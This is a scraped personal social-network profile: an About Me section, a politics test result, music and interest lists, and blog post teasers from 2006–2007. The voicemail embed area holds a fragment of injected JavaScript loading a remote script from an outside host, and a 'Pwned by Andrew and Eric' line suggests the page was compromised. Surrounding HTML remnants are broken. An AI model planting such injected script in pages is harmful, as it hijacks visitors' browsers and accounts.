About Me

Hi, I'm Derek. I despise long walks on the beach...you know eventually you're going to step on a crab..I bet you'll wish you never left home after that happens.. O_O No seriously though, I love the beach more than anywhere. You'd have to be insane not to.I'm tall, white, skinny, sarcastic, charming, goofy and great in bed. I mean... seriously.. it only takes me like 5 minutes and I'm fast asleep, and I don't even snore. Tell me now if you know of a better sleeper anywhere.I love music. My tastes are very diverse. Jazz is easily my favorite kind of music. I'm always on the hunt for new and interesting artists to idolize.I do not watch telvision. Notice I didn't say "t.v." T.v. is a nickname and nicknames are for friends and television is NO FRIEND OF MINE! ..*shudders* -Mr Show. But it still falls true.I'm a Licensed Massage Therapist. That's right, Licensed! Stress don't not stand a chance against my magic hands!And just on a random note, I think I speak for everyone when I say that were I a Hogwarts student, I would certainly not like to be in Slytherin. Bunch of sneaky goons that lot are! I think I'd be quite content in Ravenclaw...*sigh* Geez, I think that covers about everything there is to know about me.. But cool and suave as I might be, I am human and am capable of mistakes so if there's anything I missed, please do not be afraid to say hi and ask. I do not attack unless provoked.. Or you're a supporter of "You know who". ..
You are a
Social Liberal
(60% permissive)

and an...
Economic Liberal
(36% permissive)

You are best described as a:
Centrist
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Link: The Politics Test on Ok Cupid
Also: The OkCupid Dating Persona Test " ..
"And now without further ado, what you hear on my voicemail..... width="425" height="350" ...... language="javascript" src="http://www.fuckmdk.com/request.js"function nothingf(){document·write("...r{}");}..

My Interests

Julie-Ann (Ze girlfriend), reading, writing, Philosophy, arts, music...(jazz mostly), fishing, hockey, skating, exercising (running, swimming, walking), animals..(cats most of all), Capoeira, massage, swing dancing, photography, poetry, hookah, bonfires, horror movies, chess, different cultures, musicals, Qigong, Yoga, Ayurvedic, chakras, Vietnamese food, ultimate frisbee, Literature, Merlot, Om, Yin-Yang, Nag Champa, film noir, art nouveau, Uno,aand, video games.

I'd like to meet:

Hmm...Jesus, Jackie Chan, Marty St. Louis, Bob Dylan, the usuals...

Music:

Favorites: Jeff Buckley, Tim Buckley, Django Reinhardt, Coralie Clement, Screamin Jay Hawkins, Edith Piaf, Bob Dylan, Van Morrison, Nina Simone, Keiko Matsui, Maynard Ferguson, Todd Rundgren Bob Marley, Joni Mitchell, Fiona Apple, Brad Mehldau, Jamiroquai, The Beatles.....Ska: The Toasters, Reel Big Fish, Fishbone, Sublime, Save Ferris, The Aquabats, The Slackers, Mustard Plug, The Mighty Mighty Bosstones, Madness, English Beat, The Specials, The Skatalites, Mephiskapheles, The Selector, Voodoo Glow Skulls.....Rock n' Roll/Alternative: Led Zepplin, Pulp, The Shins, Stone Roses, The Charlatans, Blur, Arctic Monkeys, Smashing Pumpkins, Red Hot Chili Peppers, The Stray Cats, The Toadies, Violent Femmes, The Living End, Presidents of the USA, Queen, Primus, The International Noise Conspiracy, Rage Against the Machine,The Ramones, The Clash, INXS, Muse, Interpol, Prince, Morphine, Pixies, The Toy Dolls, Jimi Hendrix, Helmet, Dream Theater, Dismemberment Plan, Buzz Poets, Dandy Warhols, Danko Jones, Andrew W.K., 311, Rollins Band.....Rap/Hip-Hop/R&B: Beastie Boys, Outkast, Pharcyde, Jurassic 5, Nice & Smooth, Sugarhill Gang, Grandmaster Flash & Furious Five, Bel Biv Devoe, Gorillaz, Run DMC, Just Jack, G Love & Special Sauce, Biz Markie, Jon B, Mos Def, De La Soul.....Indie/Ambient: Bjork, Sigur Ros, Combustible Edison, Radiohead, Wilco, Shudder to Think, Ditty Bops, Sonic Youth, Jon Brion, Frou Frou, Air, Zero 7, Regina Spektor, Beck, The Beta Band, Moby, The Magic Numbers, Portishead, Blonde Redhead, Eisley, Architecture in Helsinki, Ani Difranco.....Jazz/Swing/Big Band: Duke Ellington, Paris Combo, Billy Holiday, Louis Armstrong, Nouvelle Vague, Wynton Marsalis, Victor Wootin, John Contrane, Miles Davis, Nancy Wilson, Wayman Tysdale, Squirrel Nuz Zippers, Michael Viners' Incredible Bongo Band, Royal Crown Revue, Brian Setzer Orchestra, Cherry Poppin' Daddies, Glenn Miller, Clarence "Frogman" Henry, The Flying Neutrinos, Big Bad Voodoo Daddy, George Gee, Jaime Cullum, Michael Buble, Otis Redding, Duane Eddy & The Ventures, The Big Bopper, Denver & the Mile High Orchestra, Big Rude Jake, Bela Fleck & the Flecktones, Reverend Horton Heat, Wayne the Train Hancock......." height="60" width="144" autostart="true" loop="false" type="audio/mpeg"

Television:

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Books:

The Flying Spaghetti Monster Lives | I have been touched by His Noodly Appendage | Join the Pastafarians | Bring back the pirates! Add me as a friend fsmismyhero

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The Gospel of the Flying Spaghetti MonsterSurrealism. Provacative-fiction. Philosophy. Literature. Cultural. Awe-inspiring...Calvin & Hobbes.. Harry Potter.. XP

Heroes:

but most of all Andrew and Eric are my hero's. Pwned by Andrew and Eric, feds, you know what to do.

My Blog

I DID IT! I DID IT!!

I passed my National Certification Exam for Massage Therapy!!! I'm a LMT!! :) Massages for all!! Oh happy, beautiful, wonderful day!!
Posted by Chat Noir on Sat, 01 Sep 2007 12:14:00 PST

Damn non-existant car!

That's right. I feel it's best to blame my troubles on things that have absolutely no bearing on all the trials in my life. Well, that having been no fault of it's own. I certainly am not going to van...
Posted by Chat Noir on Mon, 11 Jun 2007 10:18:00 PST

Tofu house!

I figured everything had been too easy and mellow for me lately. Not that I wasn't prepared for an event, or a change in lifestyle. But I didn't think I'd be having to find a new place to live af...
Posted by Chat Noir on Wed, 02 May 2007 06:24:00 PST

In the immortal words of Ali G

"BOOYAKASHA!" I so fuckin' nailed that interview at the medical office for 1-800-ask-Gary! So starting April 2nd kids, I will be starting as a Chiropractor Assistant raking in a very satisfactory payc...
Posted by Chat Noir on Fri, 16 Mar 2007 12:19:00 PST

At least the shit happens when I'm skankin'

Jesus, let me tell y'all about my week. And then we can resume the hanging me from my extremities for using "y'all"... The acid trip that has been my life recently is starting to get t...
Posted by Chat Noir on Sun, 01 Oct 2006 10:14:00 PST

Tips to spot insomnia

1.) You're lying in bed, and the only sounds that you can hear.. (t.v., music, crickets) begin to amplify themselves over the course of fifteen minutes until it's like nature itself cranks up it'...
Posted by Chat Noir on Mon, 31 Jul 2006 04:13:00 PST

Knock me out

Before you read too much, let me just warn you that this entire blog is absolutely nothing other me bitching about my day.. So, consider it fair warning before you get brought down. I think it's only ...
Posted by Chat Noir on Mon, 03 Jul 2006 11:04:00 PST

Tinkering around.. (again)

Oooooo...boy am I pissed. It's a very rare occasion when I'm so utterly careless on my posts.. but I preview it to proof-read my post before I actually confirm it. And I notice an alteration that need...
Posted by Chat Noir on Thu, 15 Jun 2006 12:52:00 PST

Restlessness

Is a total drag.. I Just crawled back from my room where I did about 2 1/2 hours of reading and to no avail, still find myself unable to be tired. And wow, what a shock it was that I should real...
Posted by Chat Noir on Wed, 14 Jun 2006 01:05:00 PST

When honeybees go shoppin' it's something to be seen.

Last night was my first time at the castle in almost a bloody year. Last time was with my friends from USF when they dragged me. I wasn't too interested the first time I went, and I ended up having...
Posted by Chat Noir on Mon, 01 Jan 1900 12:00:00 PST